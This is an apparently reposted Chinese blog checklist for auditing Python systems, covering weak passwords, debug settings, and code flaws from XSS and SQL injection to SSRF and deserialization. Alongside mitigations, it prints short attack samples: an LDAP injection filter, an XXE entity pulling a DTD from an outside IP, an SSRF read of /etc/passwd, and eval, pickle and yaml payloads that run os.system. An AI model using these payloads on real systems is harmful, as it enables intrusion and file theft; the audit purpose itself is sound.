Python系统审计-笔记

Python系统审计

运维安全

端口开放

1、自定义端口
2、通用端口

弱口令

1、数据库弱口令
2、redis&memcache
3、共享中间件
4、Nsf0cus!@#

debug开关

1、`\
2、django settings.py Debug=True

svn或git信息泄露

涉密存储传输

1、用base64加密码密码
2、私钥存储,权限

代码角度

XSS

1、属性动态内容
2、mark_safe,autoescape
3、dom类型
4、httpresponse返回动态内容

CSRF

1、CSRF中间件
2、表单csrf_token
3、相应view函数

命令注入<1>

1、os系列命令
2、commands系统命令
3、subprocess,shell=True

路径穿越

1、未考虑../
2、任意文件下载
3、任意文件删除
4、任意文件写入

文件上传

1、前端js控制不起作用
2、文件后缀白名单
3、文件大小控制,防dos
4、上传文件改名,rand()
5、注意上传过程中的条件竞争攻击

sql注入<1>

1、django raw,execute,extra方法where处
2、psycopy2等底层库

xml注入 原理类似sql

ldap注入

1、利用闭合ldap查询语句

(&(user=admin*)(objectClass=*))(|(objectClass=void)(passwd=passwd))
The rusult:
In [70]:import ldap
In [71]:I
=ldap.initialize('ldap://10.0.0.0:389')
In [76]:
I.bind('LADP_ROOTDN','LDAP_ROOTPW')
In [77]:
I.search_s('LDAP_ROOTDN',ldap.SCOPE_SUBTREE,'(cn=356*)')
Out [77]:
[('cn=35602d93-a8ab-3ba1-991a-74cfde8cb333,cn=xxlegend,o=customer',....

2、防御:
ldap.filter.escape_filter_chars转义,)(,*,\x00五个字符

xxe

1、lxml

<!DOCTYPE xdsec [<!ENTITY % xxe SYSTEM "http://107.189.153.153/xxlegend.dtd" >
%xxe;]>

2、利用xml 实体注入
3、libxml 2.9以下
4、XMLParser默认resolve_entity=True

ssrf

1、风险接口
<1>pycurl

c=pycurl.Curl()
c.setopt(c.URL,'file:///etc/passwd')

<2>urllib2
<3>requests
<4>对@符号识别:requests和pycurl可识别,urllib2不识别。
2、限定协议http或https
3、限定端口
4、限定返回结果

代码注入

<1>eval
利用代码:如

eval("__import__('os').system('uname')")

错误封装
builtings置为空,利用代码
建议ast.literal_eval()

<2>pickle
利用代码:如

class Run(object):
...: def__reduce(self):
...:  return (os.system,('uname'))
pickle.loads(pickle.dumps(run()))

建议json

<3>yaml
利用代码:如

exp="""!!python/object/apply:os.system
args:['uname -a']
yaml.load(exp)

<4>marshal

功能角度

授权

认证

弱口令

传输

<1>明文传输,证书
<2>get请求
<3>SSL

存储

<1>base64编码存储
<2>Subtopic

防暴力

<1>验证码
普通验证码(直接返回;验证码不正确不更新;验证错误后xhr请求更新)
短信验证码
<2>错误次数

密码找回

猜你喜欢

转载自blog.csdn.net/zmeixuan/article/details/79106657